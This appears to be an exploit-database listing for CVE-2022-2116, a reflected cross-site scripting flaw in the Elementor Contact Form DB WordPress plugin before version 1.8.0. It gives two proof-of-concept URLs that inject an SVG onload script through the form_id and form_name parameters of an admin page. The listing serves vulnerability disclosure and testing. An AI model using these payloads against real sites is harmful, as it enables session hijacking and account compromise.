Exploit for Elementor Contact Form DB < 1.8.0 - Reflected Cross-Site Scripting CVE-2022-2116

Name: Exploit for Elementor Contact Form DB < 1.8.0 - Reflected Cross-Site Scripting CVE-2022-2116
Rating: 5 (187 reviews)

2022-07-19 | CVSS 0.7

## https://sploitus.com/exploit?id=WPEX-ID:01568DA4-2ECF-4CF9-8030-31868CE0A87A
When there is at least one submission:

https://example.com/wp-admin/edit.php?post_type=elementor_cf_db&page=sb_elem_cfd&form_id="><svg/onload=alert(/XSS-id/)>
https://example.com/wp-admin/edit.php?post_type=elementor_cf_db&page=sb_elem_cfd&form_name="><svg/onload=alert(/XSS-name/)>